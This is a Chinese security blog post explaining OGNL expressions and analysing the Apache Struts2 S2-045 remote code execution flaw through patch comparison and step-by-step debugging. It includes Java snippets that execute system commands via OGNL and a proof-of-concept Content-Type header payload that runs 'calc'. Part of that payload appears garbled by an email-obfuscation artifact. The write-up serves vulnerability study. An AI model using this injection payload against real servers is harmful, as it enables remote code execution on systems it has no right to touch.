0x00 OGNL表达式

1) ognl基本介绍

OGNL是Object-Graph Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言(比EL更强大),通过简单一致的表达式语法,可以存取对象的任何属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
xwork提供了OGNL表达式。其jar包为ognl-x.x.x.jar。
Struts2框架使用OGNL作为默认的表达式语言。
OGNL有三大要素,分别是表达式、根对象、Context对象。
表达式是整个OGNL的核心,OGNL根据表达式去对象中取值。所有OGNL操作都是针对表达式解析后进行的。
根对象(Root):Root对象可以理解为OGNL的操作对象,表达式规定了"做什么",而Root对象则规定了"对谁操作"。OGNL称为对象图导航语言,所谓对象图,即以任意一个对象为根,通过OGNL可以访问与这个对象关联的其它对象。
Context对象:OGNL的取值还需要一个上下文环境。Root对象所在环境就是OGNL的上下文环境(Context)。上下文环境规定了OGNL的操作在哪里进行。上下文环境Context是一个Map类型的对象,在表达式中访问Context中的对象,需要使用"#"号加上对象名称,即#"对象名称"的形式,表示了与访问Root对象的区别。

2)ognl基本用法示例

package lltest;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class ognltest1 {
     public static void main(String[] args) throws OgnlException {
     //创建一个Ognl上下文对象
     OgnlContext context = new OgnlContext();

     // 调用对象的方法 
    Object obj1 = Ognl.getValue("'helloworld123'.length()", context, context.getRoot());
    System.out.println(obj1);

    // 获取OGNL上下文的对象
    context.put("name", "lltest");
    Object obj2 = Ognl.getValue("#name", context, context.getRoot());
    System.out.println(obj2);

    //调用类静态方法
    //@[类全名(包括包路径)]@[方法名|值名]
    Object obj3 = Ognl.getValue("@java.lang.String@format('hello %s', 'lltest')", context);
    System.out.println(obj3);
     }
}

说明:需要导入ognl-3.0.6.jar

3) ognl执行系统命令

用法: @[类全名(包括包路径)]@[方法名|值名] 即@包名.类名@方法名 如:

Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);

完整示例:

package lltest;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class OsExec {
     public static void main(String[] args) throws OgnlException {
         OgnlContext context = new OgnlContext();
        //@[类全名(包括包路径)@[方法名|值名]]
         //执行命令
         Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
         System.out.println(obj);
     }
}

说明:需要导入javassist-3.11.0.GA.jar和ognl-3.0.6.jar 两个jar包

0x01 S2-045漏洞简述

Struts2默认处理multipart上传报文的解析器为Jakarta插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)。
但是Jakarta插件在处理文件上传(multipart)的请求时会捉捕异常信息,并对异常信息进行OGNL表达式处理。当content-type错误时会抛出异常并带上Content-Type属性值,可通过构造附带OGNL表达的请求导致远程代码执行。
影响Struts2版本: Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
官方通告详情:
https://cwiki.apache.org/confluence/display/WW/S2-045

0x02 S2-045漏洞分析

为复现漏洞,可使用struts2.3.x环境下自带的struts2-showcase演示demo示例环境,进行漏洞复现。下载struts-2.3.20-apps.zip (http://archive.apache.org/dist/struts/2.3.20/ )
或者自行编写简单测试样例,不去详述了。
下面使用eclipse对struts-2.3.20进行动态分析:

1) 漏洞补丁对比

https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a?diff=split
主要对core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java中的
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); 进行删除,并重新定义

2)Jakarta解析multipart上传请求

Struts2默认处理multipart上传报文的解析器是plugin插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)

StrutsPrepareAndExecuteFilter类是Struts2默认配置的入口过滤器。Struts2首先对输入请求对象request的进行封装:

request = prepare.wrapRequest(request);

路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\ng\filter\StrutsPrepareAndExecuteFilter.java

跟进wrapRequest()

继续跟进wrapRequest()
路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\Dispatcher.java

此处有两个关注点:
1)if (content_type != null && content_type.contains("multipart/form-data")) {
S2-045的POC一般都有(#nike='multipart/form-data')这样一句,就是使content_type.contains("multipart/form-data")判断为true
2)MultiPartRequest mpr = getMultiPartRequest();
继续追踪getMultiPartRequest方法。通过配置struts.multipart.parser属性,可以指定不同的解析类,而默认就是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。

3) 加断点动态测试

弹出计算器POC:

Content-Type: haha~multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
JakartaMultiPartRequest.java - buildErrorMessage()

路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\multipart
在return LocalizedTextUtil.findText()处加断点

protected String buildErrorMessage(Throwable e, Object[] args) {
        String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
        if (LOG.isDebugEnabled()) {
            LOG.debug("Preparing error message for key: [#0]", errorKey);
        }
        return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); //加断点
    }


到达断点return LocalizedTextUtil.findText(),执行下一步,即可弹出计算器:
此时e的值为:

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};


下面到达断点return LocalizedTextUtil.findText() 然后跟进findText()方法继续调试

LocalizedTextUtil.java

路径struts-2.3.20\src\xwork-core\src\main\java\com\opensymphony\xwork2\util\ LocalizedTextUtil.java

findText()

return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
跟进LocalizedTextUtil.findText()

return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
继续跟进return findText()

此时indexedTextName为:null
defaultMessage为:
the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

getDefaultMessage()

result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
继续跟进getDefaultMessage()

TextParseUtil.java - translateVariables()

MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
继续跟进 translateVariables()

translateVariables()方法使用了 ognl 的 $ 与 % 标签,两者都能告诉执行环境 ${} 或 %{} 中的内容为ognl表达式。所以POC中使用 % 或者$ 都可以触发漏洞。

return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
继续跟进return translateVariables()
最后调用了evaluate()方法解析OGNL,执行代码

此时expression值为the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

evaluate()方法说明

ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
跟进ParsedValueEvaluator()

translateVariables()方法继承接口com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator
在创建对象后重写了evaluate()方法
通过该方法的说明文档可知evaluate()方法会解析ognl表达式
https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/TextParseUtil.ParsedValueEvaluator.html

参考:

https://paper.seebug.org/241/
https://paper.seebug.org/247/

源链接

Hacking more

...